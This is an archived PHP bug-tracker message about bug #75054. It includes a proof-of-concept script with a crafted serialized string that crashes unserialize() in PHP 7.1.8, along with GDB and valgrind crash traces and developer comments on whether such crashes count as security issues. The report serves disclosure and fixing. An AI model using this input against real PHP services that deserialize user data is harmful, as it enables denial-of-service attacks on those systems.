Bug #75054 [Com]: A Denial of Service Vulnerability was found when performing deserialization
| From: | l dot wei at ntu dot edu dot sg | Date: | Thu, 10 Aug 2017 07:43:00 +0000 |
| Subject: | Bug #75054 [Com]: A Denial of Service Vulnerability was found when performing deserialization | ||
| References: | 1 | Groups: | php.bugs |
| Request: | Send a blank email to php-bugs+get-210576@lists.php.net to get a copy of this message | ||
Edit report at https://bugs.php.net/bug.php?id=75054&edit=1
ID: 75054
Comment by: l dot wei at ntu dot edu dot sg
Reported by: varsleak at gmail dot com
Summary: A Denial of Service Vulnerability was found when
performing deserialization
Status: Open
Type: Bug
Package: Variables related
Operating System: Ubuntu 16.40 x64
PHP Version: 7.1.8
Block user comment: N
Private report: N
New Comment:
Simply dismiss these issues by suggesting a "best practice" does not seem to improve the
situation in systems built on the unsafe deserialization APIs. If deprecating them is too costly for
compatibility, maybe fixing such issues as soon as they get reported is the best way to go ? Just
two cents.
Previous Comments:
------------------------------------------------------------------------
[2017-08-10 06:29:27] spam2 at rhsoft dot net
you simply MUST NOT use serialize / unserialize for data coming from outside, use json_encode() and
json_decode() and sanitize input data anyways
------------------------------------------------------------------------
[2017-08-10 02:46:51] yohgaki@php.net
Users are supposed to do something like this by themselves.
https://wiki.php.net/rfc/secure_serialization
------------------------------------------------------------------------
[2017-08-10 02:14:43] varsleak at gmail dot com
What kind of input is considered trust?
Are ordinary php code or other applications (like WAF) doing checkup?
These input data hackers are able to control,
I do not understand why the issus can not be considered a security issue.
------------------------------------------------------------------------
[2017-08-09 15:00:05] cmb@php.net
Unserialize must not be used on untrusted input. We don't consider
issues in unserialize as security vulnerabilities.
------------------------------------------------------------------------
[2017-08-09 06:44:37] varsleak at gmail dot com
Description:
------------
It was found by afl.
Test script:
---------------
<?php
$poc =
'a:9:{i:0;s:4:"0000";i:0;s:4:"0000";i:0;R:2;s:4:"5003";R:2;s:4:"0000";R:2;s:4:"0000";R:2;s:4:"';
$poc .= "\x06";
$poc .=
'000";R:2;s:4:"0000";d:0;s:4:"0000";a:9:{s:4:"0000";';
unserialize($poc);
?>
Expected result:
----------------
no crash!
Actual result:
--------------
GDB trace:
â cli git:(PHP-7.1.8) â gdb php
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from php...done.
(gdb) run poc.php
Starting program: /home/varsleak/github/fuzzy/php-src.orig/sapi/cli/php poc.php
Program received signal SIGSEGV, Segmentation fault.
0x0000000000860bc3 in zend_mm_alloc_small (heap=0x7ffff4400040, size=64, bin_num=7,
__zend_filename=0xdcac28 "/home/varsleak/github/fuzzy/php-src.orig/Zend/zend_string.h",
__zend_lineno=122, __zend_orig_filename=0x0, __zend_orig_lineno=0)
at /home/varsleak/github/fuzzy/php-src.orig/Zend/zend_alloc.c:1261
1261 heap->free_slot[bin_num] = p->next_free_slot;
(gdb) bt
#0 0x0000000000860bc3 in zend_mm_alloc_small (heap=0x7ffff4400040, size=64, bin_num=7,
__zend_filename=0xdcac28 "/home/varsleak/github/fuzzy/php-src.orig/Zend/zend_string.h",
__zend_lineno=122, __zend_orig_filename=0x0, __zend_orig_lineno=0)
at /home/varsleak/github/fuzzy/php-src.orig/Zend/zend_alloc.c:1261
#1 0x0000000000860e66 in zend_mm_alloc_heap (heap=0x7ffff4400040, size=64, __zend_filename=0xdcac28
"/home/varsleak/github/fuzzy/php-src.orig/Zend/zend_string.h", __zend_lineno=122,
__zend_orig_filename=0x0, __zend_orig_lineno=0)
at /home/varsleak/github/fuzzy/php-src.orig/Zend/zend_alloc.c:1332
#2 0x00000000008638a9 in _emalloc (size=32, __zend_filename=0xdcac28
"/home/varsleak/github/fuzzy/php-src.orig/Zend/zend_string.h", __zend_lineno=122,
__zend_orig_filename=0x0, __zend_orig_lineno=0)
at /home/varsleak/github/fuzzy/php-src.orig/Zend/zend_alloc.c:2417
#3 0x00000000007d2707 in zend_string_alloc (len=4, persistent=0) at
/home/varsleak/github/fuzzy/php-src.orig/Zend/zend_string.h:122
#4 0x00000000007d2841 in zend_string_init (str=0x7ffff4463423 "0000\";", len=4,
persistent=0) at /home/varsleak/github/fuzzy/php-src.orig/Zend/zend_string.h:158
#5 0x00000000007d587b in php_var_unserialize_internal (rval=0x7fffffffa400, p=0x7fffffffa9c0,
max=0x7ffff4463429 "", var_hash=0x0) at ext/standard/var_unserializer.re:770
#6 0x00000000007d3774 in process_nested_data (rval=0x7ffff4464040, p=0x7fffffffa9c0,
max=0x7ffff4463429 "", var_hash=0x7fffffffa9c8, ht=0x7ffff4401420, elements=8, objprops=0)
at ext/standard/var_unserializer.re:396
#7 0x00000000007d5348 in php_var_unserialize_internal (rval=0x7ffff4464040, p=0x7fffffffa9c0,
max=0x7ffff4463429 "", var_hash=0x7fffffffa9c8) at ext/standard/var_unserializer.re:825
#8 0x00000000007d3a8c in process_nested_data (rval=0x7ffff4477000, p=0x7fffffffa9c0,
max=0x7ffff4463429 "", var_hash=0x7fffffffa9c8, ht=0x7ffff44013c0, elements=0, objprops=0)
at ext/standard/var_unserializer.re:452
#9 0x00000000007d5348 in php_var_unserialize_internal (rval=0x7ffff4477000, p=0x7fffffffa9c0,
max=0x7ffff4463429 "", var_hash=0x7fffffffa9c8) at ext/standard/var_unserializer.re:825
#10 0x00000000007d40b2 in php_var_unserialize (rval=0x7ffff4477000, p=0x7fffffffa9c0,
max=0x7ffff4463429 "", var_hash=0x7fffffffa9c8) at ext/standard/var_unserializer.re:587
#11 0x00000000007c1ab1 in zif_unserialize (execute_data=0x7ffff44130b0, return_value=0x7fffffffaa70)
at /home/varsleak/github/fuzzy/php-src.orig/ext/standard/var.c:1114
#12 0x00000000008fff47 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER () at
/home/varsleak/github/fuzzy/php-src.orig/Zend/zend_vm_execute.h:628
#13 0x00000000008ff824 in execute_ex (ex=0x7ffff4413030) at
/home/varsleak/github/fuzzy/php-src.orig/Zend/zend_vm_execute.h:429
#14 0x00000000008ff935 in zend_execute (op_array=0x7ffff4481000, return_value=0x0) at
/home/varsleak/github/fuzzy/php-src.orig/Zend/zend_vm_execute.h:474
#15 0x000000000089c9c8 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at
/home/varsleak/github/fuzzy/php-src.orig/Zend/zend.c:1476
#16 0x00000000008023a6 in php_execute_script (primary_file=0x7fffffffd130) at
/home/varsleak/github/fuzzy/php-src.orig/main/main.c:2537
#17 0x00000000009866f3 in do_cli (argc=2, argv=0x114c820) at
/home/varsleak/github/fuzzy/php-src.orig/sapi/cli/php_cli.c:993
#18 0x00000000009878c6 in main (argc=2, argv=0x114c820) at
/home/varsleak/github/fuzzy/php-src.orig/sapi/cli/php_cli.c:1381
valgrind trace:
==16649== Memcheck, a memory error detector
==16649== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.
==16649== Using Valgrind-3.12.0 and LibVEX; rerun with -h for copyright info
==16649== Command: ./php poc.php
==16649== Parent PID: 15100
==16649==
==16649== Invalid read of size 8
==16649== at 0x860BC3: zend_mm_alloc_small (zend_alloc.c:1261)
==16649== by 0x860E65: zend_mm_alloc_heap (zend_alloc.c:1332)
==16649== by 0x8638A8: _emalloc (zend_alloc.c:2417)
==16649== by 0x7D2706: zend_string_alloc (zend_string.h:122)
==16649== by 0x7D2840: zend_string_init (zend_string.h:158)
==16649== by 0x7D587A: php_var_unserialize_internal (var_unserializer.re:770)
==16649== by 0x7D3773: process_nested_data (var_unserializer.re:396)
==16649== by 0x7D5347: php_var_unserialize_internal (var_unserializer.re:825)
==16649== by 0x7D3A8B: process_nested_data (var_unserializer.re:452)
==16649== by 0x7D5347: php_var_unserialize_internal (var_unserializer.re:825)
==16649== by 0x7D40B1: php_var_unserialize (var_unserializer.re:587)
==16649== by 0x7C1AB0: zif_unserialize (var.c:1114)
==16649== Address 0x8a57b0000 is not stack'd, malloc'd or (recently) free'd
==16649==
==16649==
==16649== Process terminating with default action of signal 11 (SIGSEGV)
==16649== Access not within mapped region at address 0x8A57B0000
==16649== at 0x860BC3: zend_mm_alloc_small (zend_alloc.c:1261)
==16649== by 0x860E65: zend_mm_alloc_heap (zend_alloc.c:1332)
==16649== by 0x8638A8: _emalloc (zend_alloc.c:2417)
==16649== by 0x7D2706: zend_string_alloc (zend_string.h:122)
==16649== by 0x7D2840: zend_string_init (zend_string.h:158)
==16649== by 0x7D587A: php_var_unserialize_internal (var_unserializer.re:770)
==16649== by 0x7D3773: process_nested_data (var_unserializer.re:396)
==16649== by 0x7D5347: php_var_unserialize_internal (var_unserializer.re:825)
==16649== by 0x7D3A8B: process_nested_data (var_unserializer.re:452)
==16649== by 0x7D5347: php_var_unserialize_internal (var_unserializer.re:825)
==16649== by 0x7D40B1: php_var_unserialize (var_unserializer.re:587)
==16649== by 0x7C1AB0: zif_unserialize (var.c:1114)
==16649== If you believe this happened as a result of a stack
==16649== overflow in your program's main thread (unlikely but
==16649== possible), you can try to increase the size of the
==16649== main thread stack using the --main-stacksize= flag.
==16649== The main thread stack size used in this run was 8388608.
==16649==
==16649== HEAP SUMMARY:
==16649== in use at exit: 1,471,901 bytes in 9,889 blocks
==16649== total heap usage: 12,266 allocs, 2,377 frees, 1,798,515 bytes allocated
------------------------------------------------------------------------
--
Edit this bug report at https://bugs.php.net/bug.php?id=75054&edit=1